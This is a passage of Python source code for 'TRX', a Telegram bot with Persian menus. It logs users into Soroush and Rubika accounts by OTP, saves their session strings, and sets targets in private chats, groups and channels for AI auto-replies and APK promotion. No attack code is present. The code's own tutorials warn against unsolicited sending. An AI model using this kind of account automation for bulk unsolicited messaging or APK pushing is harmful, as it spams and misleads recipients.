        db.execute("UPDATE ai_bindings SET test_sent_at=?,updated_at=? WHERE account_id=?",(now(),now(),aid)); log_account_activity(aid,uid,'ai_test','self',1)
        return True,'پیام TEST به Saved/Self ارسال شد.'
    except Exception as e: log_account_activity(aid,uid,'ai_test','self',0); return False,str(e)

def ai_manage_kb(aid):
    r=db.fetchone("SELECT * FROM ai_bindings WHERE account_id=?",(aid,))
    return IKB([[('🧪 TEST در Saved/Self',f'ai.bind.test:{aid}','success')],[(('🔴 خاموش AI' if r and r['enabled'] else '🟢 روشن AI'),f'ai.bind.toggle:{aid}','danger' if r and r['enabled'] else 'success')],[(('🔴 خاموش پاسخ PV' if r and r['auto_reply_pv'] else '🟢 روشن پاسخ PV'),f'ai.bind.pv:{aid}','danger' if r and r['auto_reply_pv'] else 'success')],[(('🟢 روشن پاسخ گروه' if not r or not r['auto_reply_group'] else '🔴 خاموش پاسخ گروه'),f'ai.bind.group:{aid}','success' if not r or not r['auto_reply_group'] else 'danger')],[('🗑 حذف اتصال AI',f'ai.bind.del:{aid}','danger')],[('↩️ بازگشت','ai.bindings','primary')]])

def ai_advanced_menu(lang, uid):
    u = db.fetchone("SELECT * FROM users WHERE user_id=?", (uid,))
    is_on = bool(u and u["ai_enabled"])
    targets = db.fetchone("SELECT COUNT(*) c FROM ai_targets WHERE user_id=?", (uid,))["c"]
    kb = db.fetchone("SELECT value FROM settings WHERE key=?", (f"kb:{uid}",))
    kb_ok = bool(kb and kb["value"].strip())
    return IKB([
        [("🔴 خاموش کردن AI" if is_on else "🟢 روشن کردن AI", "ai.tog", "danger" if is_on else "success")],
        [("🧠 دانش محصول — تنظیم توضیحات کامل", "ai.kb", "primary")],
        [("🎭 لحن و شخصیت پاسخ‌گویی", "ai.tone", "primary")],
        [("📊 آمار و تحلیل دقیق AI", "ai.stats", "primary")],
        [("📣 هدف PV / پیام خصوصی", "ai.pv", "primary")],
        [("👥 هدف گروه — انتخاب پلتفرم", "ai.group", "primary")],
        [("📰 کانال AI — انتخاب پلتفرم", "ai.channel", "primary")],
        [("🔗 انتخاب پلتفرم و اکانت AI", "ai.bindings", "success")],
        [(f"🎯 اهداف فعال: {targets} | 🧠 دانش: {'آماده' if kb_ok else 'تنظیم نشده'}", "ai.info", "primary")],
        [(t(lang, "btn.home"), "menu", "primary")],
    ])


# ---------- Tutorials ----------
def tutorial_menu(lang):
    return IKB([
        [("🚀 راه‌اندازی از صفر", "tut:start", "primary")],
        [("📱 افزودن و مدیریت حساب‌ها", "tut:accounts", "primary")],
        [("🤖 تنظیم کامل هوش مصنوعی", "tut:ai", "primary")],
        [("📣 هدف‌گذاری PV و گروه", "tut:targets", "primary")],
        [("📰 تنظیم کانال AI", "tut:channel", "primary")],
        [("📦 ثبت APK و آماده‌سازی تبلیغ", "tut:apk", "primary")],
        [("💳 خرید و فعال‌سازی اشتراک", "tut:sub", "primary")],
        [("🖼 بنرها و پنل ادمین", "tut:banner", "primary")],
        [("⚙️ تنظیمات و پشتیبانی", "tut:settings", "primary")],
        [(t(lang, "btn.home"), "menu", "primary")],
    ])


def _tutorial_text_v2(section, lang):
    texts = {
        "start": """🚀 **راهنمای شروع از صفر**\n\n"
        "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n"
        "1️⃣ `/start` را بزنید و وارد داشبورد شوید.\n"
        "2️⃣ از **💳 اشتراک** یک پلن انتخاب کنید و برای فعال‌سازی با `@POLO_IR` هماهنگ کنید.\n"
        "3️⃣ از **📱 حساب‌ها** سرویس مورد نظر را انتخاب و شماره را با کد کشور وارد کنید.\n"
        "4️⃣ کد پیامک را در همان گفت‌وگو برای ربات بفرستید؛ ربات باید همان نشست OTP را ادامه دهد.\n"
        "5️⃣ از **🤖 هوش مصنوعی** ابتدا دانش محصول و لحن را تنظیم کنید.\n"
        "6️⃣ APK را ثبت کنید و سپس اهداف مجاز و موردنظر خود را در بخش AI تنظیم کنید.\n\n"
        "💡 هر زمان چیزی نامشخص بود، از **📚 آموزش** همان بخش استفاده کنید.""",
        "accounts": """📱 **آموزش کامل حساب‌ها**\n\n"
        "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n"
        "🔵 **روبیکا / 🟢 سروش / 🟡 بله**\n\n"
        "1️⃣ وارد **حساب‌ها** شوید.\n"
        "2️⃣ سرویس را انتخاب کنید.\n"
        "3️⃣ شماره را مثل `+98912xxxxxxx` بفرستید.\n"
        "4️⃣ بعد از ارسال موفق کد، پیام بعدی شما باید فقط **کد ورود** باشد.\n"
        "5️⃣ پس از تایید، حساب در لیست ثبت می‌شود.\n\n"
        "⚠️ اگر کد منقضی شد، عملیات را لغو و دوباره از مرحله شماره شروع کنید.\n"
        "🔐 کد ورود و اطلاعات حساب را برای افراد دیگر ارسال نکنید.""",
        "ai": """🤖 **آموزش کامل هوش مصنوعی**\n\n"
        "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n"
        "🧠 **دانش محصول:** نام APK، قابلیت‌ها، مزایا، محدودیت‌ها، لینک/روش دریافت و پاسخ‌های مجاز را کامل بنویسید.\n\n"
        "🎭 **لحن:** مشخص می‌کند AI پاسخ‌ها را رسمی، دوستانه، آموزشی یا کوتاه تولید کند.\n\n"
        "📊 **آمار:** تعداد پردازش‌ها، پاسخ‌های خودکار، فعالیت حساب‌ها و هدف‌های ثبت‌شده را نشان می‌دهد.\n\n"
        "📣 **PV:** برای هدف خصوصی، شناسه/مقصد را مشخص کنید.\n"
        "👥 **گروه:** ابتدا پلتفرم را انتخاب کنید، سپس مقصد را ثبت کنید.\n"
        "📰 **کانال:** پلتفرم را انتخاب کنید و مشخصات کانال/هدف را ثبت کنید.\n\n"
        "💡 آمار ربات فقط رویدادهایی را که واقعاً ثبت کرده می‌شمارد.""",
        "targets": """📣 **آموزش هدف‌گذاری PV و گروه**\n\n"
        "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n"
        "1️⃣ برای گروه، وارد **AI → تبلیغ در گروه** شوید.\n"
        "2️⃣ یکی از **روبیکا / سروش / بله** را انتخاب کنید.\n"
        "3️⃣ شناسه یا لینک مقصد را وارد کنید.\n"
        "4️⃣ هدف در دیتابیس با پلتفرم مربوط ثبت می‌شود.\n\n"
        "⚠️ فقط مقصدهایی را استفاده کنید که اجازه ارسال/مدیریت در آن‌ها را دارید؛ ربات نباید برای ارسال ناخواسته یا مزاحم استفاده شود.""",
        "channel": """📰 **آموزش کانال AI**\n\n"
        "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n"
        "این بخش برای نگهداری مشخصات هدف کانال و تعیین پلتفرم طراحی شده است.\n\n"
        "1️⃣ پلتفرم را انتخاب کنید.\n"
        "2️⃣ نام/شناسه کانال را وارد کنید.\n"
        "3️⃣ توضیحات کانال را وارد کنید یا `/skip` بزنید.\n"
        "4️⃣ تنظیمات ذخیره می‌شود و در آمار AI قابل مشاهده است.\n\n"
        "💡 ایجاد واقعی کانال وابسته به API و مجوزهای همان پیام‌رسان است؛ این بخش اطلاعات هدف را مدیریت می‌کند.""",
        "apk": """📦 **آموزش ثبت APK**\n\n"
        "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n"
        "1️⃣ فایل `.apk` را در Saved Messages تلگرام ارسال کنید.\n"
        "2️⃣ روی همان پیام ریپلای کنید و `/id` بفرستید.\n"
        "3️⃣ ربات فایل و شناسه آن را در دیتابیس ثبت می‌کند.\n"
        "4️⃣ از بخش مدیریت APK می‌توانید آن را فعال/غیرفعال یا حذف کنید.\n\n"
        "⚠️ فقط APKهایی را ثبت کنید که مالک یا مجاز به توزیع آن‌ها هستید.""",
        "sub": """💳 **آموزش اشتراک**\n\n"
        "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n"
        "1️⃣ از **اشتراک** پلن موردنظر را انتخاب کنید.\n"
        "2️⃣ مشخصات پلن و مبلغ نمایش داده می‌شود.\n"
        "3️⃣ برای پرداخت/فعال‌سازی با `@POLO_IR` هماهنگ کنید.\n"
        "4️⃣ ادمین می‌تواند اشتراک را برای آیدی عددی شما فعال کند.\n"
        "5️⃣ ظرفیت و تاریخ انقضا در پروفایل و داشبورد نمایش داده می‌شود.""",
        "banner": """🖼 **آموزش بنرها و پنل ادمین**\n\n"
        "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n"
        "1️⃣ وارد **پنل ادمین → بنرها** شوید.\n"
        "2️⃣ یکی از پنل‌های اصلی مثل خانه، AI، حساب‌ها، اشتراک، APK یا ادمین را انتخاب کنید.\n"
        "3️⃣ عکس را در پیام بعدی ارسال کنید.\n"
        "4️⃣ فایل تصویر با `file_id` تلگرام ذخیره می‌شود.\n"
        "5️⃣ در ورود به همان پنل، بنر ذخیره‌شده نمایش داده می‌شود.\n"
        "6️⃣ از **لیست بنرها** می‌توانید بنر را حذف کنید.""",
        "settings": """⚙️ **آموزش تنظیمات و پشتیبانی**\n\n"
        "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n"
        "🌐 زبان را از تنظیمات تغییر دهید.\n"
        "🆘 برای پشتیبانی به `@POLO_IR` پیام دهید.\n"
        "📚 اگر مشکلی در یک بخش دارید، آموزش همان بخش را باز کنید تا مراحل دقیق را ببینید.""",
    }
    raw = texts.get(section)
    if raw is None:
        return "❌ این آموزش پیدا نشد. از منوی آموزش یک بخش را انتخاب کنید."
    return raw.replace('"', '') if raw.startswith('"""') else raw


# ---------- Admin menus ----------
def admin_menu(lang):
    return IKB([
        [("👥 کاربران", "adm.users", "primary"), ("🔌 APIهای AI", "adm.apis", "primary")],
        [("🖼 بنرها", "adm.banner", "primary"), ("📌 عضویت اجباری", "adm.force", "primary")],
        [("📣 پیام همگانی", "adm.broadcast", "primary"), ("💳 تنظیم اشتراک", "adm.pricing", "primary")],
        [("📊 آمار سیستم", "adm.stats", "primary"), ("📜 لاگ‌ها", "adm.logs", "primary")],
        [("🛠 تعمیرات", "adm.maint", "danger")],
        [(t(lang, "btn.home"), "menu", "primary")],
    ])


def admin_banners_menu(lang):
    return IKB([
        [("🏠 بنر منوی اصلی", "adm.banner.slot:main_menu", "primary")],
        [("🤖 بنر پنل هوش مصنوعی", "adm.banner.slot:ai_panel", "primary")],
        [("📱 بنر پنل حساب‌ها", "adm.banner.slot:accounts", "primary")],
        [("💳 بنر پنل اشتراک", "adm.banner.slot:subscription", "primary")],
        [("📦 بنر پنل APK", "adm.banner.slot:apk", "primary")],
        [("🛡 بنر پنل ادمین", "adm.banner.slot:admin", "danger")],
        [("📋 لیست و حذف بنرها", "adm.banner.list", "success")],
        [(t(lang, "btn.back"), "admin", "primary")],
    ])


def admin_pricing_menu(lang):
    return IKB([
        [("📋 مشاهده همه پلن‌ها", "adm.pricing.list", "primary")],
        [("➕ افزودن پلن جدید", "adm.pricing.add", "success")],
        [("🗑 حذف پلن", "adm.pricing.del", "danger")],
        [(t(lang, "btn.back"), "admin", "primary")],
    ])


# ---------- Rich admin user list ----------
async def _admin_user_list_text(uid):
    rows = db.fetchall("SELECT * FROM users ORDER BY last_activity DESC LIMIT 50")
    lines = ["👥 **لیست کاربران TRX**", "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"]
    btns = []
    for r in rows:
        sub = get_active_subscription(r["user_id"])
        accs = db.fetchone("SELECT COUNT(*) c FROM accounts WHERE user_id=? AND enabled=1", (r["user_id"],))["c"]
        aiu = db.fetchone("SELECT COUNT(*) c FROM ai_usage WHERE user_id=?", (r["user_id"],))["c"]
        st = "🚫" if r["is_banned"] else "🟢"
        lines.append(f"{st} `{r['user_id']}` | @{r['username'] or '-'} | 📱{accs} | 🤖{aiu} | {'💳' if sub else '—'}")
        btns.append([(f"👤 {r['user_id']}", f"adm.user.mg:{r['user_id']}", "primary")])
    if not rows:
        lines.append("هیچ کاربری هنوز ثبت نشده است.")
    btns.append([(t("fa", "btn.back"), "adm.users", "primary")])
    return "\n".join(lines), IKB(btns)


# ---------- Banner display ----------
_banner_last_sent = {}

async def _maybe_send_banner(chat_id, uid, slot):
    try:
        r = db.fetchone("SELECT * FROM banners WHERE slot=? AND enabled=1 AND image_file_id!=''", (slot,))
        if not r:
            return
        key = (uid, slot)
        ts = time.time()
        if ts - _banner_last_sent.get(key, 0) < 2.0:
            return
        _banner_last_sent[key] = ts
        await bot.send_photo(chat_id, r["image_file_id"], r["caption"] or "")
    except Exception as e:
        log.warning(f"banner {slot}: {e}")


# ---------- Dispatch wrapper: rich panels + all callback routes ----------
_original_dispatch_cb = dispatch_cb

async def dispatch_cb(cb_id, uid, lang, u, chat_id, msg_id, data):
    # New top-level routes with their own explanatory screens.
    if data == "ai.info":
        return await _edit(chat_id, msg_id,
                           "ℹ️ **وضعیت تنظیمات AI**\n\n"
                           "این صفحه فقط وضعیت فعلی تنظیمات را نشان می‌دهد. برای تغییر هر مورد، دکمه همان بخش را بزنید.",
                           ai_advanced_menu(lang, uid))
    if data == "sub.noop":
        return await bot.answer_cb(cb_id, "هنوز پلنی توسط ادمین تعریف نشده است.", alert=True)

    # Let the original, working router handle the majority of existing callbacks.
    result = await _original_dispatch_cb(cb_id, uid, lang, u, chat_id, msg_id, data)

    # Add rich banners only to the main panel buttons, not every nested screen.
    slots = {
        "menu": "main_menu", "dash": "main_menu", "prof": "main_menu",
        "acc": "accounts", "ai": "ai_panel", "apk": "apk",
        "sub": "subscription", "admin": "admin",
    }
    if data in slots:
        await _maybe_send_banner(chat_id, uid, slots[data])
    return result


# ---------- Main menu without campaign wording ----------
def main_menu(lang, uid):
    rows = [
        [(t(lang, "menu.dashboard"), "dash", "primary")],
        [(t(lang, "menu.profile"), "prof", "primary"), (t(lang, "menu.sub"), "sub", "primary")],
        [(t(lang, "menu.accounts"), "acc", "primary"), (t(lang, "menu.ai"), "ai", "primary")],
        [(t(lang, "menu.apk"), "apk", "success"), (t(lang, "menu.reports"), "rep", "primary")],
        [(t(lang, "menu.tutorial"), "tut", "primary"), (t(lang, "menu.settings"), "set", "primary")],
    ]
    if is_admin(uid):
        rows.append([(t(lang, "menu.admin"), "admin", "danger")])
    return IKB(rows)


# ---------- Final rich text/callback overrides for existing screens ----------
_original_ai_stats_text = _ai_stats_text
_original_reports_text = _reports_text
_original_sub_text = _sub_text

_ai_stats_text = _ai_stats_text_v2
_reports_text = _reports_text_v2
_sub_text = _sub_text_v2

# ---------- Override on_cb to ensure every callback is acknowledged once ----------
# The original router can recursively call itself for some toggle/delete actions. This
# wrapper keeps Telegram's callback lifecycle simple and catches malformed callback data.
async def on_cb(cb):
    uid = cb.get("from", {}).get("id")
    cb_id = cb.get("id")
    data = cb.get("data", "")
    msg = cb.get("message") or {}
    chat_id = msg.get("chat", {}).get("id")
    msg_id = msg.get("message_id")
    if not uid or not chat_id: return
    if not rl_cb.hit(uid):
        return await bot.answer_cb(cb_id, "⏳ کمی آهسته‌تر تلاش کنید.", alert=True)
    u = ensure_user(uid)
    if u["is_banned"]:
        return await bot.answer_cb(cb_id, "⛔️ حساب شما مسدود است.", alert=True)
    lang = u["lang"] or "fa"
    try:
        await dispatch_cb(cb_id, uid, lang, u, chat_id, msg_id, data)
    except Exception as e:
        log.error(f"cb [{data}]: {e}\n{traceback.format_exc(limit=40)}")
        try:
            await bot.answer_cb(cb_id, "⚠️ خطا در اجرای این دکمه.", alert=True)
        except Exception:
            pass


# ---------- Rich account verification wrappers for activity rows ----------
# Keep existing Soroush verify behavior, but attach account id to its live client.
_original_soroush_verify = _original_service_handlers["soroush"]["verify"]
async def soroush_verify_v2(uid, code):
    ok, info = await _original_soroush_verify(uid, code)
    if ok:
        aid = _account_id_for(uid, "soroush")
        if aid:
            active_clients.setdefault(uid, {})["account_id"] = aid
            log_account_activity(aid, uid, "login", "soroush", 1)
    return ok, info
SERVICE_HANDLERS["soroush"]["verify"] = soroush_verify_v2


# ---------- Subscription purchase route with explicit admin contact ----------
_original_admin_dispatch = admin_dispatch

async def admin_dispatch(cb_id, uid, lang, chat_id, msg_id, data):
    # Expanded users screen.
    if data == "adm.users.list":
        text, kb = await _admin_user_list_text(uid)
        return await _edit(chat_id, msg_id, text, kb)

    # Better pricing editor: add/delete remain backed by the original DB/state flow.
    if data == "adm.pricing":
        return await _edit(chat_id, msg_id,
                           "💳 **تنظیم اشتراک**\n\n"
                           "از این بخش می‌توانید پلن‌های قابل خرید کاربران را بسازید یا حذف کنید.\n"
                           "مثال پلن: **۲ روز | ۶ اکانت | ۱۰ TRX**",
                           admin_pricing_menu(lang))

    if data == "adm.pricing.list":
        rows = db.fetchall("SELECT * FROM pricing_plans ORDER BY days ASC, accounts ASC, price ASC")
        lines = ["💳 **پلن‌های فعلی اشتراک**", "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"]
        btns = []
        for r in rows:
            lines.append(f"#{r['id']} | 📅 {r['days']} روز | 📱 {r['accounts']} اکانت | 💰 {r['price']} TRX")
            btns.append([(f"🗑 حذف پلن #{r['id']}", f"adm.pricing.delid:{r['id']}", "danger")])
        if not rows: lines.append("هنوز هیچ پلنی تعریف نشده است.")
        btns += [[("➕ افزودن پلن", "adm.pricing.add", "success")],
                 [(t(lang, "btn.back"), "adm.pricing", "primary")]]
        return await _edit(chat_id, msg_id, "\n".join(lines), IKB(btns))

    if data == "adm.pricing.add":
        state.set(uid, State.ADD_PRICING_PLAN)
        return await _edit(chat_id, msg_id,
                           "➕ **افزودن پلن اشتراک**\n\n"
                           "فرمت دقیق:\n`روز اکانت قیمت`\n\n"
                           "مثال:\n`2 6 10`\n\n"
                           "یعنی: ۲ روز + ۶ اکانت + ۱۰ TRX",
                           IKB([[(t(lang, "btn.cancel"), "cancel", "danger")]]))

    if data.startswith("adm.pricing.delid:"):
        pid = int(data.split(":", 1)[1])
        db.execute("DELETE FROM pricing_plans WHERE id=?", (pid,))
        return await admin_dispatch(cb_id, uid, lang, chat_id, msg_id, "adm.pricing.list")

    return await _original_admin_dispatch(cb_id, uid, lang, chat_id, msg_id, data)


# ---------- Override selected user-facing callbacks to use rich builders ----------
# We wrap dispatch once more so the old routes keep working while the displayed text
# becomes more useful.
_previous_dispatch = dispatch_cb

async def dispatch_cb(cb_id, uid, lang, u, chat_id, msg_id, data):
    if data == "prof":
        return await _edit(chat_id, msg_id, _profile_text_v2(uid, u), back_home(lang))
    if data == "rep":
        return await _edit(chat_id, msg_id, _reports_text_v2(uid, lang), back_home(lang))
    if data == "sub":
        return await _edit(chat_id, msg_id, _sub_text_v2(lang, uid), _sub_kb_v2(lang))
    if data.startswith("sub.plan:"):
        _, days, accs, price = data.split(":")
        inv = f"TRX-{secrets.token_hex(4).upper()}"
        db.execute("INSERT INTO subscriptions(user_id,plan,accounts,days,price,status,created_at,expires_at,invoice_id) "
                   "VALUES(?,?,?,?,?,?,?,?,?)",
                   (uid, f"{accs}acc/{days}d", int(accs), int(days), int(price),
                    "pending", now(), now(), inv))
        log_event(uid, "SUB_BOUGHT", inv)
        return await _edit(chat_id, msg_id,
                           f"🧾 **درخواست خرید ثبت شد**\n\n"
                           f"━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n"
                           f"📦 ظرفیت: **{accs} اکانت**\n📅 مدت: **{days} روز**\n"
                           f"💰 مبلغ: **{price} TRX**\n🧾 فاکتور: `{inv}`\n\n"
                           f"🆘 برای پرداخت و فعال‌سازی به **{ADMIN_USERNAME}** پیام دهید.\n"
                           f"آیدی عددی شما: `{uid}`",
                           IKB([[(f"🆘 ارتباط با {ADMIN_USERNAME}", "set.support", "success")],
                                [(t(lang, "btn.home"), "menu", "primary")]]))
    if data == "set":
        return await _edit(chat_id, msg_id,
                           "⚙️ **تنظیمات TRX**\n\n"
                           "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n"
                           "🌐 زبان رابط کاربری\n"
                           "🆘 پشتیبانی و فعال‌سازی اشتراک\n"
                           "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━",
                           IKB([[(f"🌐 زبان: {'فارسی' if lang=='fa' else 'English'}", "set.lang", "primary")],
                                [(f"🆘 پشتیبانی {ADMIN_USERNAME}", "set.support", "success")],
                                [(t(lang, "btn.home"), "menu", "primary")]]))
    if data == "ai.stats":
        return await _edit(chat_id, msg_id, _ai_stats_text_v2(uid), back_home(lang))
    if data == "tut":
        return await _edit(chat_id, msg_id, "📚 **مرکز آموزش کامل TRX**\n\nهر بخش را جداگانه انتخاب کنید:", tutorial_menu(lang))
    if data.startswith("tut:"):
        return await _edit(chat_id, msg_id, _tutorial_text_v2(data.split(":",1)[1], lang), tutorial_menu(lang))
    return await _previous_dispatch(cb_id, uid, lang, u, chat_id, msg_id, data)


# Keep pricing/admin banner buttons reachable after all wrappers.


# ---------- Channel configuration state ----------
_original_on_msg = on_msg

async def on_msg(msg):
    """Wrapper for the original message handler with channel-target persistence."""
    try:
        from_ = msg.get("from", {})
        uid = from_.get("id")
        if uid:
            s = state.get(uid)
            txt = msg.get("text", "") or ""
            if s and s.get("state") == State.AI_CHANNEL_NAME and txt and not txt.startswith("/"):
                chat_id = msg.get("chat", {}).get("id")
                u = ensure_user(uid, from_.get("username", ""), from_.get("first_name", ""))
                if u["is_banned"]:
                    return
                platform = s.get("platform", "soroush")
                name = txt.strip()[:200]
                db.execute("INSERT OR REPLACE INTO settings(key,value) VALUES(?,?)",
                           (f"ai_channel:{uid}", name))
                db.execute("INSERT OR REPLACE INTO settings(key,value) VALUES(?,?)",
                           (f"ai_channel_platform:{uid}", platform))
                state.set(uid, State.AI_CHANNEL_DESC, platform=platform, channel_name=name)
                return await bot.send(chat_id,
                                      "📝 **توضیحات کانال**\n\n"
                                      "توضیح دهید AI در این کانال درباره چه موضوعی فعالیت کند، "
                                      "چه چیزهایی را معرفی کند و چه مواردی را نگوید.\n\n"
                                      "اگر توضیح اضافه ندارید `/skip` بفرستید.",
                                      reply_markup=IKB([[(t(u["lang"] or "fa", "btn.cancel"), "cancel", "danger")]]))
            if s and s.get("state") == State.AI_CHANNEL_DESC and (txt or msg.get("text") is not None):
                chat_id = msg.get("chat", {}).get("id")
                u = ensure_user(uid, from_.get("username", ""), from_.get("first_name", ""))
                platform = s.get("platform", "soroush")
                name = s.get("channel_name") or _setting(f"ai_channel:{uid}", "")
                desc = "" if txt.strip() == "/skip" else txt.strip()[:1500]
                db.execute("INSERT OR REPLACE INTO settings(key,value) VALUES(?,?)",
                           (f"ai_channel_desc:{uid}", desc))
                # Store the channel as a first-class AI target, including platform.
                db.execute("DELETE FROM ai_targets WHERE user_id=? AND target_type='channel'", (uid,))
                db.execute("INSERT INTO ai_targets(user_id,target_type,target_id,target_name,platform,added_at) "
                           "VALUES(?,?,?,?,?,?)",
                           (uid, "channel", name, desc[:200] or name, platform, now()))
                state.pop(uid)
                return await bot.send(chat_id,
                                      f"✅ **هدف کانال ذخیره شد**\n\n"
                                      f"📰 نام/شناسه: `{name}`\n"
                                      f"🔧 پلتفرم: **{platform.upper()}**\n"
                                      f"🧠 توضیحات: **{'ثبت شد' if desc else 'بدون توضیح'}**\n\n"
                                      "این تنظیمات در آمار AI هم نمایش داده می‌شود.",
                                      reply_markup=ai_advanced_menu(u["lang"] or "fa", uid))
    except Exception as e:
        log.error(f"channel state wrapper: {e}")
    return await _original_on_msg(msg)

# ═══════════════════════════════════════════════════════════════════
#  CLI
# ═══════════════════════════════════════════════════════════════════

def _cli_stop():
    if not os.path.exists(PID_PATH): print("[i] Not running."); return
    try:
        with open(PID_PATH) as f: pid = int(f.read().strip())
        os.kill(pid, 15); time.sleep(1)
        try: os.kill(pid, 0); os.kill(pid, 9)
        except ProcessLookupError: pass
        _remove_pid(); print(f"[✓] Stopped PID {pid}")
    except Exception as e: print(f"[!] {e}"); _remove_pid()

def _cli_status():
    if not os.path.exists(PID_PATH): print("[i] Not running."); return
    try:
        with open(PID_PATH) as f: pid = int(f.read().strip())
        os.kill(pid, 0); print(f"[✓] Running (PID {pid})")
    except ProcessLookupError: print("[i] Stale PID."); _remove_pid()

# ═══════════════════════════════════════════════════════════════════
#  TRX FINAL PATCH v3 — login/session + banners + callback hardening
#  این بلوک فقط به انتهای فایل اضافه شده و هیچ خطی از نسخه قبلی حذف نشده است.
# ═══════════════════════════════════════════════════════════════════

# ---------- Helpers: normalize phone numbers for messenger SDKs ----------
def _trx_phone_local(phone: str) -> str:
    p = re.sub(r"\D", "", str(phone or ""))
    if p.startswith("0098"):
        p = "0" + p[4:]
    elif p.startswith("98"):
        p = "0" + p[2:]
    elif not p.startswith("0") and len(p) == 10:
        p = "0" + p
    return p


def _trx_phone_intl(phone: str) -> str:
    p = _trx_phone_local(phone)
    if p.startswith("0"):
        return "+98" + p[1:]
    return "+" + p


def _trx_phone_98digits(phone: str) -> str:
    """"98XXXXXXXXXX" — digits only, no '+', no leading 0. This is the exact
    format Rubika's login API (rulog / sendCode) expects; rulog's own docs show
    phone entered as e.g. "9891...". Sending the local "0912..." form (or the
    "+98912..." international form used for Soroush) makes Rubika's servers
    answer {'status': 'ERROR_GENERIC', 'status_det': 'INVALID_INPUT'}."""
    p = _trx_phone_local(phone)
    if p.startswith("0"):
        return "98" + p[1:]
    if p.startswith("98"):
        return p
    return "98" + p


# ---------- Soroush: use the documented local-number form and preserve the OTP session ----------
# SPlusthon is built around Soroush's own protocol and its current examples use
# 0912... style phone numbers. We keep the exact client object alive between the
# two Telegram messages so the phone_code_hash belongs to the same login attempt.
async def soroush_send_code_v3(uid: int, phone: str) -> Tuple[bool, Any]:
    """Soroush OTP: keep one live client/session between code request and verification.
    Primary: SplusLib (current high-level client). Fallback: SPlusthon.
    """
    local_phone = _trx_phone_intl(phone)
    session_name = os.path.join(SESS_DIR, f"soroush_{uid}")
    errors = []

    # Primary path: SplusLib documents +98 country-code format and exposes the
    # underlying Telethon-style methods through SplusClient.
    try:
        from spluslib import SplusClient
        client = SplusClient(session_name)
        connect = getattr(client, "connect", None)
        if connect:
            result = connect()
            if asyncio.iscoroutine(result):
                await result
        send = getattr(client, "send_code_request", None)
        if not send:
            raise RuntimeError("SplusLib client has no send_code_request method")
        sent = send(local_phone)
        if asyncio.iscoroutine(sent):
            sent = await sent
        phone_hash = getattr(sent, "phone_code_hash", None)
        if isinstance(sent, dict):
            phone_hash = phone_hash or sent.get("phone_code_hash")
        if not phone_hash:
            raise RuntimeError("SplusLib did not return phone_code_hash")
        active_clients[uid] = {
            "client": client, "service": "soroush", "phone": local_phone,
            "phone_input": phone, "hash": phone_hash, "backend": "spluslib",
            "created_at": time.time(), "connected": False,
        }
        log.info(f"[{uid}] Soroush OTP requested via SplusLib")
        return True, sent
    except Exception as e:
        errors.append(f"SplusLib: {e}")
        log.warning(f"[{uid}] SplusLib Soroush OTP failed: {e}")

    # Fallback: original SPlusthon implementation, with a fresh session object.
    try:
        from splusthon import SoroushClient
        client = SoroushClient(session_name)
        connect = getattr(client, "connect", None)
        if connect:
            result = connect()
            if asyncio.iscoroutine(result):
                await result
        send = getattr(client, "send_code_request", None)
        if not send:
            raise RuntimeError("SPlusthon client has no send_code_request method")
        sent = send(local_phone)
        if asyncio.iscoroutine(sent):
            sent = await sent
        phone_hash = getattr(sent, "phone_code_hash", None)
        if isinstance(sent, dict):
            phone_hash = phone_hash or sent.get("phone_code_hash")
        if not phone_hash:
            raise RuntimeError("SPlusthon did not return phone_code_hash")
        active_clients[uid] = {
            "client": client, "service": "soroush", "phone": local_phone,
            "phone_input": phone, "hash": phone_hash, "backend": "splusthon",
            "created_at": time.time(), "connected": False,
        }
        log.info(f"[{uid}] Soroush OTP requested via SPlusthon fallback")
        return True, sent
    except Exception as e:
        errors.append(f"SPlusthon: {e}")
        log.error(f"[{uid}] Soroush send_code_v3 failed: {' | '.join(errors)}")
        return False, "\n".join(errors)[-1200:]


async def soroush_verify_v3(uid: int, code: str) -> Tuple[bool, Any]:
    info = active_clients.get(uid)
    if not info or info.get("service") != "soroush":
        return False, "نشست ورود سروش پیدا نشد؛ دوباره از مرحله شماره شروع کنید."
    client = info.get("client")
    if client is None:
        return False, "کلاینت سروش برای این ورود پیدا نشد."
    try:
        sign_in = getattr(client, "sign_in", None)
        if not sign_in:
            # SplusLib forwards native Telethon-style methods through its client.
            raise RuntimeError("کلاینت سروش متد sign_in ندارد.")
        try:
            result = sign_in(phone=info["phone"], code=str(code).strip(),
                             phone_code_hash=info.get("hash"))
        except TypeError:
            result = sign_in(info["phone"], str(code).strip(), info.get("hash"))
        if asyncio.iscoroutine(result):
            result = await result

        me = None
        get_me = getattr(client, "get_me", None)
        if get_me:
            me = get_me()
            if asyncio.iscoroutine(me):
                me = await me

        session_str = ""
        sess = getattr(client, "session", None)
        if sess is not None:
            save = getattr(sess, "save", None)
            if save:
                session_str = save()
                if asyncio.iscoroutine(session_str):
                    session_str = await session_str
            elif isinstance(sess, str):
                session_str = sess
        if not session_str:
            return False, "ورود تایید شد اما ذخیره نشست سروش ممکن نشد."

        cur = db.execute(
            "INSERT INTO accounts(user_id,service,phone,session,status,added_at) VALUES(?,?,?,?,?,?)",
            (uid, "soroush", info["phone"], str(session_str), "online", now()))
        account_id = cur.lastrowid
        active_clients[uid].update({"connected": True, "account_id": account_id})
        ai_live_clients[(uid, account_id)] = client
        if db.fetchone("SELECT id FROM ai_bindings WHERE user_id=? AND account_id=? AND enabled=1", (uid, account_id)):
            _register_ai_handler(client, uid, "soroush", account_id)
        log_account_activity(account_id, uid, "login", "soroush", 1)
        log_event(uid, "ACCOUNT_ADDED", "soroush")
        return True, me or result
    except Exception as e:
        msg = str(e)
        # This is a server-side distinction: PhoneNumberUnoccupied means the
        # Soroush protocol answered that this number is not registered for sign-in.
        # Do not silently create a new account or pretend the login succeeded.
        if "PhoneNumberUnoccupied" in msg or "phone number is not yet being used" in msg.lower():
            return False, (
